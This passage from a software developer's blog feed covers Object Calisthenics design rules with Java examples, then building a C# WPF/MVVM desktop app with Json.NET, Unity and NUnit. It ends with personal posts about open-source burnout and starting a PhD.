something bad. However, as you need to perform an action on this attribute, you
need a new method <code class="language-plaintext highlighter-rouge">addTo()</code>. It is not <code class="language-plaintext highlighter-rouge">Location</code>ās responsibility to determine
how the <code class="language-plaintext highlighter-rouge">Piece</code> will be added, so letās ask it:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Piece</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">representation</span><span class="o">;</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">character</span><span class="o">()</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">representation</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="mi">1</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">addTo</span><span class="o">(</span><span class="nc">StringBuilder</span> <span class="n">buf</span><span class="o">)</span> <span class="o">{</span>
<span class="n">buf</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">character</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Then again, you should change the visibility of your attribute. As a reminder,
the <a href="http://en.wikipedia.org/wiki/Open/closed_principle">Open/Closed Principle</a>
says that software entities (classes, modules, functions, etc.) should be <strong>open
for extension</strong>, but <strong>closed for modification</strong>.</p>
<p>Also, extracting the code to get the first character of the <code class="language-plaintext highlighter-rouge">representation</code>
in a new method looks like a good idea as it may be reused at some point.
Finally, here is the updated <code class="language-plaintext highlighter-rouge">Board</code> class:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Board</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">boardRepresentation</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">StringBuilder</span> <span class="n">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">Location</span> <span class="n">location</span> <span class="o">:</span> <span class="n">squares</span><span class="o">())</span> <span class="o">{</span>
<span class="n">location</span><span class="o">.</span><span class="na">addTo</span><span class="o">(</span><span class="n">buf</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">buf</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Much better, right?</p>
<h2 id="6-dont-abbreviate">6. Donāt Abbreviate</h2>
<p>The right question is <strong>Why Do You Want To Abbreviate?</strong></p>
<p>You may answer that it is because you write the same name over and over again?
And I would answer that this method is reused multiple times, and that it looks
like <strong>code duplication</strong>.</p>
<p>So you will say that the method name is too long anyway. And I would tell you
that maybe your class has multiple responsibilities, which is bad as it violates
the <a href="http://en.wikipedia.org/wiki/Single_responsibility_principle">Single Responsibility
Principle</a>.</p>
<p>I often say that if you canāt find a decent name for a class or a method,
something is probably wrong. It is a rule I use to follow while <a href="/2012/01/24/designing-a-software-by-naming-things/">designing a
software by naming things</a>.</p>
<p>Donāt abbreviate, period.</p>
<h2 id="7-keep-all-entities-small">7. Keep All Entities Small</h2>
<p>No class over <strong>50 lines</strong> and no package over 10 files. Well, it depends on
you, but I think you could change the number of lines from 50 to 150.</p>
<p>The idea behind this rule is that <strong>long files are harder to read</strong>, harder to
understand, and harder to maintain.</p>
<h2 id="8-no-classes-with-more-than-two-instance-variables">8. No Classes With More Than Two Instance Variables</h2>
<p>I thought people would yell at me while introducing this rule, but it didnāt
happen. This rule is probably the hardest one, but it promotes <strong>high cohesion</strong>,
and <strong>better encapsulation</strong>.</p>
<p>A picture is worth a thousand words, so here is the explanation of this rule in
picture. Note that it relies on <a href="#3-wrap-all-primitives-and-strings">Rule 3: Wrap All Primitives And
Strings</a>.</p>
<p class="with-caption"><img src="/images/posts/2013/06/2-instance-variables.png" alt="" />
<em>Source: <a href="https://github.com/TheLadders/object-calisthenics#rule-8-no-classes-with-more-than-two-instance-variables">https://github.com/TheLadders/object-calisthenics#rule-8-no-classes-with-more-than-two-instance-variables</a></em></p>
<p>The main question was <em>Why two attributes?</em> My answer was <em>Why not?</em> Not the
best explanation but, in my opinion, the main idea is to distinguish <strong>two kinds
of classes</strong>, those that <strong>maintain the state of a single instance variable</strong>,
and those that <strong>coordinate two separate variables</strong>. <strong>Two</strong> is an arbitrary
choice that forces you to decouple your classes a lot.</p>
<h2 id="9-no-getterssettersproperties">9. No Getters/Setters/Properties</h2>
<p>My favorite rule. It could be rephrased as
<a href="http://c2.com/cgi/wiki?TellDontAsk">Tell</a>, <a href="http://pragprog.com/articles/tell-dont-ask">donāt
ask</a>.</p>
<p>It is okay to use accessors to get the state of an object, as long as you donāt
use the result to make decisions outside the object. Any decisions based
entirely upon the state of one object should be made inside the object itself.</p>
<p>That is why <a href="http://stackoverflow.com/questions/565095/are-getters-and-setters-evil">getters/setters are often considered
evil</a>.
Then again, they violate the <a href="http://en.wikipedia.org/wiki/Open/closed_principle">Open/Closed
Principle</a>.</p>
<p>Letās take an example:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Game</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">score</span><span class="o">;</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">setScore</span><span class="o">(</span><span class="kt">int</span> <span class="n">score</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">score</span> <span class="o">=</span> <span class="n">score</span><span class="o">;</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">int</span> <span class="nf">getScore</span><span class="o">()</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">score</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// Usage</span>
<span class="n">game</span><span class="o">.</span><span class="na">setScore</span><span class="o">(</span><span class="n">game</span><span class="o">.</span><span class="na">getScore</span><span class="o">()</span> <span class="o">+</span> <span class="no">ENEMY_DESTROYED_SCORE</span><span class="o">);</span>
</code></pre></div></div>
<p>In the code above, the <code class="language-plaintext highlighter-rouge">getScore()</code> is used to make a decision, you choose how
to increase your score, instead of leaving this responsibility to the <code class="language-plaintext highlighter-rouge">Game</code>
instance.</p>
<p>A better solution would be to remove the getters/setters, and to provide methods
that make sense. Remember, you must <strong>tell</strong> the class to do something, and you
should <strong>not ask</strong> it. In the following, you <strong>tell</strong> the <code class="language-plaintext highlighter-rouge">game</code> to update your
score as you destroyed <code class="language-plaintext highlighter-rouge">ENEMY_DESTROYED_SCORE</code> enemies.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Game</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">addScore</span><span class="o">(</span><span class="kt">int</span> <span class="n">delta</span><span class="o">)</span> <span class="o">{</span>
<span class="n">score</span> <span class="o">+=</span> <span class="n">delta</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// Usage</span>
<span class="n">game</span><span class="o">.</span><span class="na">addScore</span><span class="o">(</span><span class="no">ENEMY_DESTROYED_SCORE</span><span class="o">);</span>
</code></pre></div></div>
<p>It is <code class="language-plaintext highlighter-rouge">game</code>ās responsibility to determine how to update the score.</p>
<p>In this case, you could keep the <code class="language-plaintext highlighter-rouge">getScore()</code> as you may want to display it
somewhere on the UI, but keep in mind that <a href="http://whitewashing.de/2012/08/22/building_an_object_model__no_setters_allowed.html">setters should not be
allowed</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>If you donāt feel comfortable with these rules, it is ok, but trust me when I
tell you that they can be used in real life. Try them in your spare time, by
refactoring your Open Source projects for instance. I think it is just a matter
of practice. Some rules are easy to follow, and may help you.</p>
<h2 id="slides">Slides</h2>
<script async="" class="speakerdeck-embed" data-id="9839ef20a6310130ee5c4ac98188c567" data-ratio="1.29456384323641" src="//speakerdeck.com/assets/embed.js"></script>
<h2 id="links">Links</h2>
<ul>
<li><a href="http://www.slideshare.net/rdohms/your-code-sucks-lets-fix-it-15471808">Object Calisthenics and Code Readability in
PHP</a>;</li>
<li><a href="http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php">Object Calisthenics Applied to
PHP</a>;</li>
<li><a href="http://www.cs.helsinki.fi/u/luontola/tdd-2009/ext/ObjectCalisthenics.pdf">Object
Calisthenics</a>
by Jeff Bay.</li>
</ul>
<h2 id="tldr">TL;DR</h2>
<p>9 steps to better software design today, by Jeff Bay:</p>
<ol>
<li>Only One Level Of Indentation Per Method</li>
<li>Donāt Use The ELSE Keyword</li>
<li>Wrap All Primitives And Strings</li>
<li>First Class Collections</li>
<li>One Dot Per Line</li>
<li>Donāt Abbreviate</li>
<li>Keep All Entities Small</li>
<li>No Classes With More Than Two Instance Variables</li>
<li>No Getters/Setters/Properties</li>
</ol>
On being a .NET developer for a weekend2013-05-09T00:00:00+00:00https://williamdurand.fr/2013/05/09/on-being-a-net-developer-for-a-weekend<p>Even though I learned C# and the .NET platform at the University, I only started
to get exposed to all these Microsoft technologies some weeks ago. My current
job is somewhat tied to software built with the .NET platform.</p>
<p>To be honest, I had tons of preconceived ideas about Microsoft and its
programming technologies. One of them was the fact that <a href="https://blog.codinghorror.com/why-ruby/">you can certainly build
open source software in .NET. And many do. But it never feels natural. It never
feels right. [ā¦] It is just not a native part of the Microsoft .NET culture
to make things open source, especially not the things that
suck</a>.</p>
<p>However, I always considered Visual Studio to be one of the best IDEs (as much
as I love <em>vim</em>, I donāt think thatās an IDE).</p>
<h2 id="the-plan">The plan</h2>
<p>I decided to rewrite <a href="https://github.com/willdurand/TravisLight">TravisLight</a>, a
weekend project I introduced in <a href="/2012/12/24/on-being-a-frontend-developer-for-a-weekend/">a previous āOn being a <em>XXX</em> developer for a
weekendā article</a>. My
goals were to learn <a href="http://msdn.microsoft.com/en-us/library/aa970268.aspx">Windows Presentation
Foundation</a> (WPF), the
<a href="https://en.wikipedia.org/wiki/Model_View_ViewModel">Model-View-ViewModel</a>
design pattern, and to become familiar with some more Microsoft tools.</p>
<p>The codename of my project is TravisLight.Net. It is released under the MIT
license and publicly available on CodePlex, Microsoftās open source project
hosting platform. CodePlex is more or less GitHub for .NET developers. It offers
both <a href="https://git-scm.com/">Git</a> and <a href="https://en.wikipedia.org/wiki/Team_Foundation_Server">Team Foundation
Server</a> (TFS)
repositories.</p>
<h2 id="team-foundation-server">Team Foundation Server</h2>
<p>TFS is not only a source code management system but also a complete
collaboration platform including an issue-tracking system and a build server
(among other things). To me, this looks like to
<a href="https://subversion.apache.org/">SVN</a> with superpowers. Yes, itās a centralized
version control system!</p>
<p>Compared to Git, I miss the staging area and the disconnected mode. Creating
beautiful changesets<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> is not super easy either, and Iād also add that locking
files to edit them is a pain.</p>
<p>Most things happening in Team Foundation Server are centered around āwork
itemsā. It is (more or less) like an issue (or bug) in some other bug tracker.
For each changeset, one can attach one or more work items. This is actually
cool.</p>
<p>The next step to build TravisLight.Net was to organize my code. I decided to
follow the MVVM pattern.</p>
<h2 id="model-view-viewmodel">Model-View-ViewModel</h2>
<p>The <strong>M</strong>odel-<strong>V</strong>iew-<strong>V</strong>iew <strong>M</strong>odel (MVVM) design pattern is used to
separate the business and presentation layers of an application from its user
interface. Both the Model and the View layers are the same as in the
<strong>M</strong>odel-<strong>V</strong>iew-<strong>C</strong>ontroller (MVC) design pattern. However, the View is not
aware of the Model, and vice-versa.</p>
<p>The ViewModel layer acts as the glue between the Model and the View. The
ViewModel also exposes methods and/or commands that help to maintain the state
of the View and to manipulate the Model as the result of actions on the View.</p>
<p>The View and the ViewModel rely on data-binding and commands to communicate.
<a href="https://msdn.microsoft.com/en-us/library/ms752347.aspx">Data binding</a> is the
process that establishes a connection between the user interface and business
logic. When the data changes its value, the elements that are bound to the data
reflect changes automatically.</p>
<p>In Visual Studio, I created a āsolutionā with one āprojectā per layer. A
solution is a container for projects, and a project can be seen as a component
of an application. A project for each layer seemed like a good idea to me
(separation of concerns FTW).</p>
<p>Now, TravisLight.Net is a desktop application that displays build statuses from
<a href="https://travis-ci.org">Travis-CI</a>. This service provides a REST API that
returns JSON data. What do we need? A library to manipulate JSON data of course.
Where/how do we find that? <a href="https://www.nuget.org/">NuGet</a> to the rescue!</p>
<h2 id="introducing-nuget">Introducing NuGet</h2>
<p><a href="https://www.nuget.org/">NuGet</a> (pronounced āNew Getā and not āNuggetā) is a
fantastic Visual Studio extension that makes it easy to install and update
third-party libraries and tools. This is a package manager for .NET developers.
At the time of writing, there are more than 11600 packages, including many of
the Microsoft libraries!</p>
<p>I decided to <a href="http://docs.nuget.org/docs/workflows/using-nuget-without-committing-packages">use NuGet without committing packages to source
control</a>,
which seemed to be a good idea. Visual Studio automatically downloaded the
missing packages before building the project.</p>
<p>Now that I have introduced some tools and concepts, letās focus on some
implementation details.</p>
<h2 id="working-with-json">Working with JSON</h2>
<p>I used <a href="https://www.newtonsoft.com/json">Json.NET</a>, a powerful JSON framework
for .NET, to manipulate JSON data. And to be honest, deserializing data could
not be easier.</p>
<p>The <code class="language-plaintext highlighter-rouge">DeserializeObject()</code> method takes a string as argument, and returns an
object. This is a generic method so one can specify the objectās type they
expect to get:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Newtonsoft.Json</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">TravisLight.Model.Entity</span><span class="p">;</span>
<span class="p">...</span>
<span class="n">List</span><span class="p"><</span><span class="n">Repo</span><span class="p">></span> <span class="n">repositories</span> <span class="p">=</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="n">DeserializeObject</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">Repo</span><span class="p">>>(</span><span class="n">json</span><span class="p">);</span>
</code></pre></div></div>
<p>Json.NET automatically maps a JSON key to a property in the C# class. If we want
to define our own mapping, we can add a <code class="language-plaintext highlighter-rouge">JsonProperty</code> annotation to the
properties. In the following code, the <code class="language-plaintext highlighter-rouge">Id</code> property is automatically mapped to
an <code class="language-plaintext highlighter-rouge">id</code> entry in JSON and the <code class="language-plaintext highlighter-rouge">LastBuildResult</code> property is explicitely mapped
to a <code class="language-plaintext highlighter-rouge">last_build_result</code> entry in JSON:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Newtonsoft.Json</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">TravisLight.Model.Entity</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Repo</span>
<span class="p">{</span>
<span class="err">#</span><span class="n">region</span> <span class="n">properties</span>
<span class="k">public</span> <span class="kt">int</span> <span class="n">Id</span>
<span class="p">{</span>
<span class="k">get</span><span class="p">;</span>
<span class="k">set</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">[</span><span class="nf">JsonProperty</span><span class="p">(</span><span class="s">"last_build_result"</span><span class="p">)]</span>
<span class="k">public</span> <span class="n">Nullable</span><span class="p"><</span><span class="kt">bool</span><span class="p">></span> <span class="n">LastBuildResult</span>
<span class="p">{</span>
<span class="k">get</span><span class="p">;</span>
<span class="k">set</span><span class="p">;</span>
<span class="p">}</span>
<span class="err">#</span><span class="n">endregion</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>These two code snippets above are enough to deserialize the following JSON
content:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">123</span><span class="p">,</span><span class="w"> </span><span class="nl">"last_build_result"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">123</span><span class="p">,</span><span class="w"> </span><span class="nl">"last_build_result"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-06-21T12:00:59Z"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>
<h2 id="the-nullable-type">The nullable type</h2>
<p>You may have noticed the use of a <code class="language-plaintext highlighter-rouge">Nullable<T></code> type above. The API may or may
not return a value for the <code class="language-plaintext highlighter-rouge">last_build_result</code> entry. If a value is provided, it
is a <code class="language-plaintext highlighter-rouge">boolean</code>, otherwise it is <code class="language-plaintext highlighter-rouge">null</code>. The <a href="https://msdn.microsoft.com/library/1t3y8s4s.aspx">Nullable
type</a> allows to either have a
value or none.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">LastBuildResult</span><span class="p">.</span><span class="n">HasValue</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="n">LastBuildResult</span><span class="p">.</span><span class="n">Value</span> <span class="p">?</span> <span class="n">Status</span><span class="p">.</span><span class="n">Failed</span> <span class="p">:</span> <span class="n">Status</span><span class="p">.</span><span class="n">Passed</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As we can see in the example above, it is really expressive. It is worth
mentioning that the C# language is feature-rich:
<a href="https://msdn.microsoft.com/library/512aeb7t.aspx">generics</a>, <a href="https://msdn.microsoft.com/library/bb383977.aspx">extension
methods</a>,
<a href="https://msdn.microsoft.com/library/ms173183.aspx">reflection</a>,
<a href="https://msdn.microsoft.com/library/bb397926.aspx">LINQ</a>, <a href="https://msdn.microsoft.com/library/bb397687.aspx">lambda
expressions</a>, <a href="https://msdn.microsoft.com/library/hh191443.aspx">asynchronous
programming</a>, and a lot more!</p>
<h2 id="linq-and-lambda-expressions-on-collections">LINQ and lambda expressions on collections</h2>
<p><strong>L</strong>anguage-<strong>IN</strong>tegrated<strong>Q</strong>uery also known as
<a href="https://msdn.microsoft.com/library/bb397926.aspx">LINQ</a> extends powerful query
capabilities to the language syntax of C#. This works with <code class="language-plaintext highlighter-rouge">DataSet</code>, XML and
objects such as <code class="language-plaintext highlighter-rouge">List<T></code>.</p>
<p>I used LINQ to sort the repositories according to a rank (i.e. according to the
build statuses, the failing projects come first) in the <code class="language-plaintext highlighter-rouge">ApiRepository</code>:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="n">repositories</span><span class="p">.</span><span class="nf">OrderBy</span><span class="p">(</span><span class="n">repository</span> <span class="p">=></span> <span class="n">repository</span><span class="p">.</span><span class="n">Rank</span><span class="p">).</span><span class="nf">ToList</span><span class="p">();</span>
</code></pre></div></div>
<p>In the code snippet above, the <code class="language-plaintext highlighter-rouge">=></code> sign represents a lambda expression which is
also known as a closure (an anonymous function with a context).</p>
<h2 id="meet-the-layers">Meet the layers</h2>
<p>I only covered the Model layer until now so letās talk about the View and the
ViewModel layers.</p>
<p>The View has been written in
<a href="https://msdn.microsoft.com/en-us/library/ms752059.aspx">XAML</a>. It is a
declarative markup language with a large set of components to build graphical
user interfaces.</p>
<p>In TravisLight.Net, there is a single window (<code class="language-plaintext highlighter-rouge">MainWindow</code>) that displays a
single āUserControlā named <code class="language-plaintext highlighter-rouge">ListView</code>. This view renders the list of
repositories with their status thanks to the <code class="language-plaintext highlighter-rouge">ListViewModel</code>.</p>
<p>The <code class="language-plaintext highlighter-rouge">ListViewModel</code> receives an instance of <code class="language-plaintext highlighter-rouge">IRepository</code> as constructorās
argument, and creates an
<a href="https://msdn.microsoft.com/en-us/library/ms668604.aspx"><code class="language-plaintext highlighter-rouge">ObservableCollection</code></a>
containing the repositories. This ViewModel is also responsible for refreshing
this collection (using a timer for now).</p>
<h2 id="dependency-inversion-principle">Dependency inversion principle</h2>
<p>By following the MVVM pattern, I ended up with a well-decoupled application, and
it was worth using programming to the interface as well as a Dependency
Injection Container. It was particularly useful for testing (which we will see
in a moment).</p>
<p>Microsoft provides a library called
<a href="https://msdn.microsoft.com/en-us/library/ff647202.aspx">Unity</a> that is a
lightweight, and extensible Dependency Injection Container. We can configure
this container either in XML or C#.</p>
<p>A common pattern with MVVM seems to be the use of a Bootstrapper, i.e. a class
that prepares the container before starting the application. Mine looks like
this:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">TravisLight.Main</span>
<span class="p">{</span>
<span class="k">class</span> <span class="nc">Bootstrapper</span>
<span class="p">{</span>
<span class="err">#</span><span class="n">region</span> <span class="n">attributes</span>
<span class="k">private</span> <span class="n">IUnityContainer</span> <span class="n">container</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">UnityContainer</span><span class="p">();</span>
<span class="err">#</span><span class="n">endregion</span>
<span class="k">public</span> <span class="nf">Bootstrapper</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">IRepository</span><span class="p">,</span> <span class="n">ApiRepository</span><span class="p">>();</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">ListViewModel</span><span class="p">,</span> <span class="n">ListViewModel</span><span class="p">>();</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">ListView</span><span class="p">,</span> <span class="n">ListView</span><span class="p">>();</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">MainWindow</span><span class="p">,</span> <span class="n">MainWindow</span><span class="p">>();</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">Run</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">Application</span> <span class="n">app</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">App</span><span class="p">();</span>
<span class="n">app</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="n">container</span><span class="p">.</span><span class="n">Resolve</span><span class="p"><</span><span class="n">MainWindow</span><span class="p">>());</span>
<span class="p">}</span>
<span class="p">[</span><span class="n">STAThread</span><span class="p">]</span>
<span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">Bootstrapper</span> <span class="n">bootstrapper</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Bootstrapper</span><span class="p">();</span>
<span class="n">bootstrapper</span><span class="p">.</span><span class="nf">Run</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As we can see, it also contains a <code class="language-plaintext highlighter-rouge">Main()</code> method. That is the entry point of
the application. Unity is configured in the constructor and the <code class="language-plaintext highlighter-rouge">Run()</code> method
passes the <code class="language-plaintext highlighter-rouge">MainWindow</code> to the application.</p>
<h2 id="unit-testing">Unit testing</h2>
<p>Microsoft maintains MSTest, a unit testing framework. As usual, it is
well-integrated with Visual Studio and TFS.</p>
<p>That being said, I didnāt quite like its syntax, it is not super expressive.
Fortunately, I found another unit testing framework named
<a href="https://www.nunit.org/">NUnit</a>. Much better in my opinion!</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">ViewModel.Test</span>
<span class="p">{</span>
<span class="p">[</span><span class="n">TestFixture</span><span class="p">]</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">ListViewModelTest</span>
<span class="p">{</span>
<span class="k">private</span> <span class="n">IUnityContainer</span> <span class="n">container</span><span class="p">;</span>
<span class="p">[</span><span class="n">TestFixtureSetUp</span><span class="p">]</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">TestFixtureSetUp</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">container</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">UnityContainer</span><span class="p">();</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">ListViewModel</span><span class="p">,</span> <span class="n">ListViewModel</span><span class="p">>();</span>
<span class="n">container</span><span class="p">.</span><span class="n">RegisterType</span><span class="p"><</span><span class="n">IRepository</span><span class="p">,</span> <span class="n">Mock</span><span class="p">.</span><span class="n">Repository</span><span class="p">>();</span>
<span class="p">}</span>
<span class="p">[</span><span class="n">Test</span><span class="p">]</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">TestRepositoriesProperty</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">ListViewModel</span> <span class="n">listViewModel</span> <span class="p">=</span> <span class="n">container</span><span class="p">.</span><span class="n">Resolve</span><span class="p"><</span><span class="n">ListViewModel</span><span class="p">>();</span>
<span class="n">Assert</span><span class="p">.</span><span class="nf">That</span><span class="p">(</span><span class="n">listViewModel</span><span class="p">.</span><span class="n">Repositories</span><span class="p">,</span> <span class="n">Has</span><span class="p">.</span><span class="n">Count</span><span class="p">.</span><span class="nf">EqualTo</span><span class="p">(</span><span class="m">1</span><span class="p">));</span>
<span class="n">Assert</span><span class="p">.</span><span class="nf">That</span><span class="p">(</span><span class="n">listViewModel</span><span class="p">.</span><span class="n">Repositories</span><span class="p">,</span> <span class="n">Has</span><span class="p">.</span><span class="n">All</span><span class="p">.</span><span class="n">InstanceOf</span><span class="p"><</span><span class="n">Repo</span><span class="p">>());</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Each assertion is close to an actual sentence in plain English:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Assert that [the] repositories [collection] has count equal to 1.
</code></pre></div></div>
<p>In the code above, you may have noticed the <code class="language-plaintext highlighter-rouge">TestFixtureSetUp()</code> method I used
to inject a mocked instance of <code class="language-plaintext highlighter-rouge">IRepository</code> instead of the <code class="language-plaintext highlighter-rouge">ApiRepository</code>
implementation. Thanks, Dependency Injection!</p>
<h2 id="conclusion">Conclusion</h2>
<p>Yet another great moment! This weekend project was a nice experience and I
learned a lot.</p>
<p>Microsoft has pretty good tools/technologies these days, though they require
Windows. I should probably look at
<a href="https://www.mono-project.com/CSharp_Compiler">Mono</a>, but there is no support
for C# 4.5 yet.</p>
<p>As for the future, I still have thing Iād like to explore, e.g. <a href="https://msdn.microsoft.com/en-us/data/ef.aspx">Entity
Framework</a> and the <a href="https://blog.stackoverflow.com/2012/02/stack-exchange-open-source-projects/">Stack
Exchange Open Source
projects</a>
š</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>A āchangesetā in TFS is similar to a ācommitā in SVN.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Burnout.2013-02-20T00:00:00+00:00https://williamdurand.fr/2013/02/20/burnout<p><em>You wonāt be able to manage everything</em>, they said.
Guess what? They were right, I am not able to manage everything, and I will try
to explain why in this blog post.</p>
<p>First of all, I am a <a href="/2013-01-02-new-year-new-life-new-job.html">PhD student</a>,
not a full-time developer. My daily job is about reading papers, understanding
applications I am working on, and finding a way to automatically test them.
Part of my PhD allows me to give lectures (in web development, PHP, and
security). My research area doesnāt allow me to work on Open Source projects
yet, so I donāt do Open Source at work (neither at the University).</p>
<p>However, I am one of the 50 most active users on GitHub (wait, it is
<a href="http://www.liferay.com/web/zeno.rocha/blog/-/blogs/i-m-the-50-most-active-contributor-on-github-so-what-">subjective</a>
though), I manage a few Open Source projects from weekend projects
(e.g. <a href="https://github.com/willdurand/TravisLight">TravisLight</a>) to well-known
projects such as <a href="https://github.com/propelorm/Propel">Propel</a> or
<a href="https://github.com/everzet/capifony">capifony</a>. I donāt have any business
built on top of one of these projects, and I donāt get paid for supporting any
of these projects. This is Open Source after all!</p>
<p>To be honest, I am really addicted to Open Source because I love working on new
projects, releasing new libraries that could be useful (like
<a href="http://github.com/willdurand/Geocoder">Geocoder</a> I wrote for fun in one night),
and also maintaining existing projects. I learnt so much thanks to the Open
Source community, so I try to do my best to contribute back to this community.</p>
<p>But now, I feel really overbooked. I spend my free time replying to emails,
reviewing Pull Requests, and understanding issues. Free time means each free
time frame (in my car, while eating, etc.) here. And when I have enough time, I
can code. I write tests, I tag new versions, I ensure each project I manage
actually works. This is really time consuming because I need to loop over all my
projects, all the time. Thatās why I often release a bunch of new versions at
once. But I love that! Seriously.</p>
<p>Thing is, I sleep 4 to 6 hours a day, I never stop, I can reply to emails even
while partying with friends. Itās not healthy. It happens because I have the same
workload I had when I was a developer (or a student). And, I did not talk about
Twitter, RSS feeds and so on, to stay up to date. It just cannot work. It is not
my job, and even if I am afraid to be egoist, I must admit I cannot manage
everything, and Open Source is not my priority anymore.</p>
<p>That is why I have to stop working on Open Source projects for a while. In the
next two weeks, I will try to be offline. And I will see if I can manage my time
in a better way. In the meanwhile, if you are interested in taking the lead on
one of my projects (or in contributing), please drop me an email, and you will
become my hero!</p>
New year, new life, new job2013-01-02T00:00:00+00:00https://williamdurand.fr/2013/01/02/new-year-new-life-new-job<p>Today was my first day at <a href="https://www.michelin.com/en/">Michelin</a> and thatās
a significant turning point in my life.</p>
<p>I just started a <strong>PhD in software testing</strong> and verification. Iāll be doing
research on <strong>optimizing and reusing tests</strong> for applications controlling
production machines in factories, using a <a href="https://en.wikipedia.org/wiki/Model-based_testing">model-based testing</a> approach.
Thatās a terrific challenge!</p>
<p>I will also be teaching PHP and Symfony at <a href="https://iut.uca.fr/">IUT de Clermont-Fd</a>.
Because I will be quite busy this year, I decided to close down my own company
and dedicate my free time to Open Source.</p>
<p>Last but not the least, I wish you a <strong>Happy New Year</strong> and <strong>all the best</strong>
